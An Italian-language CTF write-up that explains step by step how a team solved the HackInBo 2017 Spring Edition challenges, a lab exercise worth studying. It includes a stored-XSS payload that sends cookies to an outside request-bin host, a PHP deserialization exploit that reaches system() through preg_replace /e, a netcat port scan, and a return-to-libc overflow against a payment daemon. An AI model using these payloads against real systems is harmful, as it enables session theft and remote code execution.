HackInBoCTF 2017 Spring Edition
Abbiamo partecipato al CTF organizzato da HackInBo per la Spring Edition 2017. Il CTF era disponibile al seguente indirizzo: http://ctf-hib.thesthack.com/.
Il CTF aveva 10 challenge sequenziali, ognuna delle quali forniva informazioni o privilegi per poter accedere ad una o più challenge successive (oltre a ovviamente alla flag). Questo writeup mostra le soluzioni per tutte le challenge.
Un ringraziamento a HackInBo ed HacktiveSecurity per aver messo a disposizione a realizzato un CTF tutto italiano, cosa più unica che rara.
Ci vediamo a Bologna!
It’s Not that hard
Nella home page del sito principale c’era un commento nel codice HTML:
<!-- SXQncyBub3QgdGhhdCBoYXJkIGZsYWc6IDRiMTQwZjdlN2QzYzA0YmI3YjU0ZjY5NmFiNThhNDQx -->
Tradotto dal base64 restituiva:
It's not that hard flag: 4b140f7e7d3c04bb7b54f696ab58a441
Oh, did I get banned?
Il file 403.php conteneva un commento con la flag:
<!--Banned Flag: 8e0759573823193de62f691487b2e42e !-->
Double Rainbow
Questa flag è stata recuperata dopo aver avuto accesso ad “Admin Session”, leggendo il codice di settings.php. La pagina accettava il parametro edit
via GET
, che permetteva di accedere a qualsiasi file sul sistema.
Tramite nikto è stata trovata la pagina http://ctf-hib.thesthack.com/invoker/JMXInvokerServlet che diceva:
Double Rainbow Flag is sleeping here
Mandando una richiesta del tipo settings.php?edit=invoker/JMXInvokerServlet/index.php
è stato possibile accedere al sorgente della pagina, che conteneva la flag:
<?php
echo ("Double Rainbow Flag is sleeping here");
/*Double rainbow flag: *6333d7fdc399af3b94177f037de19c2f**/
?>
Tgialli User’s Session
Dopo aver provato l’impossibile e aver quasi perso le speranze, abbiamo trovato una blind SQL Injection nel cookie PHPSESSID
. L’unico modo per risolverla era facendo un’exploitation time-based, dato che non era possibile ottenere nessun output.
Siamo riusciti a dumpare la sessione dell’utente tgialli
che era presente nel database:
bkmu18q6edsn2h74kge1sp2eu3
User flag
Una volta settato il cookie PHPSESSID
con il valore appena ottenuto, siamo riusciti ad accedere alla pagina user.php che conteneva questo commento:
<!--User Flag: e10602828174be00e0a30aa5bf1d2ac9 !-->
C Source
Questa flag è stata ottenuta dopo aver ottenuto code execution sul webserver (vedi la sezione dopo Admin Session
), dato che la flag era in un binario offerto dal server backend (che aveva il compito di gestire i pagamenti).
Durante l’analisi (reversing) del binario server
oltre a rilevare una vulnerabilità di tipo stack-based overflow abbiamo notato che vi era una costante mai utilizzata all’interno del codice. Questa riportava il seguente MD5 (flag):
355c71e5b0f5e70ab77f27d750a2a75a
Admin Session
La pagina user.php conteneva un form tramite il quale si poteva mandare un messaggio al “team di supporto” del sito web. Abbiamo capito che era possibile mandare del codice JavaScript che poi veniva eseguito, quindi ci trovavamo di fronte ad una vulnerabilità di tipo stored Cross-Site Scripting.
Il payload che ci ha permesso di ottenere la sessione dell’amministratore è il seguente:
<scalertript>document.write("<img src=http://requestb.in/xxxxxxx?"+document.cookie+">")</scalertript>
Abbiamo utilizzato scalertript
come tag perché il server filtrava alcune parole chiave, tra cui alert
. Annidando la stringa in questo modo abbiamo fatto sì che il tag finale risultasse <script>
.
Il risultato/flag era: PHPSESSID=7fa26c8192a47a49b9530be18e1310e5
A questo punto abbiamo capito che dovevamo andare oltre e compromettere il webserver tramite una code execution. Dopo aver ottenuto accesso all’area amministrativa del sito, abbiamo notato che andando alla pagina settings.php
veniva impostato un cookie editor
che conteneva il base64 di un oggetto PHP serializzato:
O:11:"StyleEditor":3:{s:8:"filepath";s:15:"./css/asset.css";s:8:"fullpath";s:26:"/var/www/CTF/css/asset.css";s:7:"auditor";O:13:"SecurityCheck":2:{s:7:"attacks";a:2:{i:0;s:9:"([.]+\/)/";i:1;s:8:"(\x00)$/";}s:7:"replace";s:2:"./";}}
Cambiando i valori di fullpath
e/o filepath
era possibile accedere a qualsiasi file su disco. Abbiamo ottenuto il sorgente di settings.php che ci ha permesso di recuperare facilmente la flag Double rainbow
.
Il file settings.php
includeva editor.php che conteneva i dettagli di come veniva utilizzato l’oggetto StyleEditor
:
<?php
Class StyleEditor{
public $filepath;
public $fullpath;
public $auditor;
function __construct($fp){
$this->auditor = new SecurityCheck;
$this->filepath = $fp;
$this->fullpath = $this->get_path();
}
[...]
function __wakeup(){
$badwords = array(
"eval",
"passthru",
"system","
shell_exec",
"popen",
"preg_match",
"preg_replace",
"dl",
"fwrite",
"file_put_contents",
"exec",
"fputs",
"`",
"require",
"include",
"include_once",
"require_once"
);
foreach ($this->auditor->attacks as $attack) {
foreach ($badwords as $hackattempt){
if(in($this->auditor->replace, $hackattempt)){
die("WAF");
}
}
$this->fullpath = @preg_replace("/". $attack , $this->auditor->replace , $this->fullpath);
}
}
}
Class SecurityCheck {
public $attacks = array("([.]+\/)/", "(\\x00)$/");
public $replace = './';
public function get_attacks()
{
return $this->attacks;
}
}
?>
La classe definisce il metodo __wakeup
, che viene chiamata quando un oggetto viene deserializzato. Notiamo che il metodo esegue preg_replace
su alcuni parametri che vengono definiti dall’oggetto (e che controlliamo), dopo aver verificato che i parametri non contengono “badwords” - che permetterebbero l’esecuzione di codice via il flag /e
di preg_replace
.
Abbiamo bypassato questo check riutilizzando l’array badwords
per richiamare una delle funzioni che viene controllata. Abbiamo preparato uno script php che genera l’oggetto con i parametri che vogliamo e lo converte automaticamente nel formato utilizzabile dal cookie editor
:
<?php
class StyleEditor {
public $fullpath;
public $filepath;
public $auditor;
public function __construct() {
$this->fullpath = "/var/www/CTF/settings.php";
$this->filepath = "./settings.php";
$this->auditor = new SecurityCheck;
}
}
class SecurityCheck{
public $attacks = array("settings/e");
public $replace = '\$badwords[2](\$_POST["x"]);';
}
print serialize(new StyleEditor);
print "\n";
print base64_encode(serialize(new StyleEditor));
print "\n";
I parametri che vengono utilizzati per effettuare command execution sono due:
attacks
viene utilizzato come primo parametro dellapreg_replace
. Come vedete c’è il flag/e
alla fine che permette l’esecuzione del codice quando la regex è valida.replace
che contiene il codice da eseguire.$badwords[2]
corrisponde asystem
, e possiamo eseguire qualsiasi comando passato alla variabilex
tramitePOST
.
Una volta impostato il cookie, potevamo eseguire qualsiasi comando sul server tramite richieste POST
. Abbiamo eseguito una semplice shell reverse in Python e siamo riusciti ad ottenere accesso interattivo al webserver.
PCI Zone
Nel pannello amministrativo del webserver abbiamo notato un indirizzo IP interno 10.0.0.165
che veniva utilizzato dalla piattaforma come gateway di pagamento. Una volta ottenuto accesso al webserver, abbiamo fatto un portscan di quella macchina tramite netcat:
nc -v -z 10.0.0.165 1-65535
Abbiamo trovato tre porte aperte: la 22
, 80
e la 65099
.
Alla porta 65099
rispondeva un servizio custom che dopo aver passato una stringa qualsiasi restituiva [OK] CC RECEIVED
. Alla porta 80
rispondeva un webserver. Alla 22
un server SSH.
Per quanto concerne la porta 80
, questa riportava una pagina web con l’applicativo PCI Token Generator 0.0.2
il quale restituiva un commento: <!-- it's kinda bugged, read the changelog-->
.
Abbiamo fatto una richiesta a /changelog.txt
e abbiamo ottenuto:
PCI Token Generator
> v.0.0.3
TODO: we should definitely fix this code afin the next release
OS: Linux debian 3.16.0-4-686-pae #1 SMP Debian 3.16.39-1+deb8u1
*/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
$settings = array(
'cc' => $_POST['cc'],
'value' => ('echo ' . escapeshellarg("{$_POST['cc']}")),
);
if (@$settings['value']) {
passthru($settings['value']);
*/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
> v.0.0.2
+ added serialize etc
> v.0.0.1
+ added the crypto functionality
+ CC Receiver: /server
La prima cosa che abbiamo notato è stata la presenza di un server
per ricevere le informazioni riguardanti le carte di credito e la funzione passthru()
di PHP protetta da escapeshellarg()
.
Come primo tentivo abbiamo deciso di procedere per reversing e quindi analizzare il binario server recuperato all’indirizzo http://10.0.0.165/server
.
Analizzando le stringhe del binario abbiamo notato la stringa [OK] CC RECEIVED
la quale ci ha confermato che quel binario è in esecuzione ed in ascolto sulla porta 65099
.
Abbiamo quindi reversato il binario e abbiamo trovato alcune funzioni: viewer
, processcc
e ovviamente main
. Abbiamo disassemblato le varie funzioni e abbiamo notato che la funzione viewer contiene un buffer overflow:
0804892d <viewer>:
804892d: 55 push %ebp
804892e: 89 e5 mov %esp,%ebp
8048930: 81 ec 08 04 00 00 sub $0x408,%esp
8048936: 83 ec 08 sub $0x8,%esp
8048939: ff 75 08 pushl 0x8(%ebp)
804893c: 8d 85 f8 fb ff ff lea -0x408(%ebp),%eax
8048942: 50 push %eax
8048943: e8 08 fc ff ff call 8048550 <strcpy@plt>
8048948: 83 c4 10 add $0x10,%esp
804894b: 83 ec 08 sub $0x8,%esp
804894e: 8d 85 f8 fb ff ff lea -0x408(%ebp),%eax
8048954: 50 push %eax
8048955: 68 d9 8a 04 08 push $0x8048ad9
804895a: e8 91 fb ff ff call 80484f0 <printf@plt>
804895f: 83 c4 10 add $0x10,%esp
8048962: c9 leave
8048963: c3 ret
Ciò che salta subito all’occhio è l’utilizzo della funzione strcpy
, notoriamente vulnerabile in quanto non effettua nessun controllo di lunghezza quando copia un buffer sorgente in uno di destinazione. Questa strcpy
copia in un buffer grande 1032 bytes (0x408 - indirizzo 8048930) la stringa che passiamo al demone.
Analizzando il binario abbiamo notato che l’unica mitigation presente era NX
quindi non potevamo eseguire nessuno shellcode custom passato direttamente come input. Rimaneva però possibile effettuare una return2libc
per eseguire comandi arbitrari.
Per effettuare questo tipo di attacco, abbiamo bisogno dell’indirizzo di una funzione che vogliamo riutilizzare per eseguire comandi. Il terzo hint del CTF ci ha fornito l’indirizzo di system
e tramite questo indirizzo più le informazioni svelate nel changelog abbiamo recuperato anche l’indirizzo di exit
.
Purtroppo rimane un altro problema: il binario non ha controllo sui file descriptor usati dal nuovo processo che andremo a lanciare, e di conseguenza l’esecuzione di comandi sarà blind e non sarà possibile utilizzare interattivamente la shell.
L’ultima parte del payload dovrà contenere il comando da far eseguire a system
e sarà un puntatore ad una stringa contenuta nel binario.
Abbiamo quindi due possibilità: andare a cercare in memoria gli indirizzi di ogni singola lettera componendo cosi il nostro comando, oppure, più semplicemente, cercare tramite un bruteforce il puntatore al buffer che inviamo tramite socket. Abbiamo optato per la seconda.
Tramite analisi dimanica su una macchina debian simile al target abbiamo notato che l’assenza di ASLR faceva si che il nostro buffer fosse presente nel range 0xbfffe000 - 0xbfffffff
, lasciando così 8191 possibili indirizzi da provare.
Abbiamo quindi realizzato uno script python che invia richieste al server fin quando non trova l’indirizzo corretto del nostro payload: bruteforcer.py. Una volta terminato il bruteforce abbiamo notato che il nostro comando era stato eseguito, consentendoci l’accesso alla macchiana mediante la porta 31337:
www-data@www:/var/www/CTF/support$ nc 10.0.0.165 31337
nc 10.0.0.165 31337
Insert password for JBZ TEAM: ***********
python -c "import pty;pty.spawn('/bin/bash')"
sysop@debian:/tmp/...$ id
uid=1000(sysop) gid=1000(sysop) groups=1000(sysop),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Abbiamo così ottenuto la flag nascosta sul server
pci zone flag: 95429c6709bb99d1ed06d2a99bc6ffbc
ECB Padding
Un commento nella pagina index.php diceva: <!-- it's kinda bugged, read the changelog-->
.
Abbiamo visitato quindi il file changelog.txt (indicato sopra) capendo così parte del funzionamento del file index.php
.
Facendo una richiesta tramite il form nella pagina index.php e ricaricando la stessa abbiamo notato che il server oltre a printare il valore di CC
printava l’oggetto $settings
. Abbiamo quindi notato un cookie chiamato pci_crypt
.
Decodificando questo cookie (urldecode -> base64decode -> hex) abbiamo ottenuto una stringa esadecimale cifrata.
Probabilmente l’oggetto $settings
serializzato e cifrato in ECB.
Per facilitare l’invio delle richieste e leggere i cookie abbiamo scritto questo script Python.
Abbiamo notato che inviando varie richieste, nei ciphertext i primi 128 bit (il primo blocco) era costante. Un comportamento condiviso sia da ECB che da CBC con IV costante.
Inizialmente pensavamo ad un algoritmo 128bit in ECB (come suggeriva il testo della flag, nds), sfortunatamente dopo le due prove sottostanti abbiamo capito che ogni blocco aveva un legame con il precedente. Si trattava di CBC. Inoltre il numero di blocchi di plaintext differiva da quello dei blocchi di ciphertext, qualcosa veniva appeso al ciphertext diversamente al funzionamento di un normale padding.
In questa immagine possiamo vedere come i blocchi 1 e 2 dei plaintext destra e sinistra combaciano e quindi i relativi blocchi 1 e 2 del ciphertext sono identici
In questa immagine invece il blocco 1 e 3 del plaintext a sinistra e il blocco 1 e 4 di quello di destra combaciano, ma solo il blocco 1 del ciphertext e’ identico
Per questo motivo abbiamo sospeso questa challenge aspettando di risolvere PCI Zone Flag
che ci avrebbe dato RCE sulla stessa macchina cosi da poter osservare i sorgenti.
Nei sorgenti era presente la flag: 856bc9fc0d0b3c23d1a58c8e93a433e4
Credit Card n.6666
Dal database relativo al webserver abbiamo estratto il PCI_token
della carta di credito con id
6666:
7cLGMYqWY2bGgYPIDlE+CODHAwwLJiAMIUSghfke+QgCMNrEQyj7TlnqU4nNuZFTLsVvVWQ15jH3JYsgvwq6/CcaQczRD/0csxB7rqiR3DQ=
Decodificandolo dalla base64 risultava una stringa apparentemente cifrata. Abbiamo pensato di decifrarla grazie al PCI Token Generator della challenge “ECB Padding”.
Utilizzando le funzioni dello script per la suddetta challenge:
ciphertext = parse.quote("7cLGMYqWY2bGgYPIDlE+CODHAwwLJiAMIUSghfke+QgCMNrEQyj7TlnqU4nNuZFTLsVvVWQ15jH3JYsgvwq6/CcaQczRD/0csxB7rqiR3DQ=")
resp = requests.get('http://url:9090/index.php', cookies={'pci_crypt': ciphertext})
print(resp.text)
Il risultato restituito dal server era 5512782764526946|170|10/08/2020
.
Hashato in md5 abbiamo ottenuto la flag:
bc13ff4c1b4a7ada0c6dcf2dec4e4404
Bonus - Aranzulla’s pass
La flag è w1k1p3d14
PS: Non l’abbiamo trovata, ce l’hanno detta ;)
The End
Leggi anche il WriteUp dei nostri amici di Shielder: https://www.shielder.it/blog/soluzione-ctf-hib-ctf-2017-spring-edition/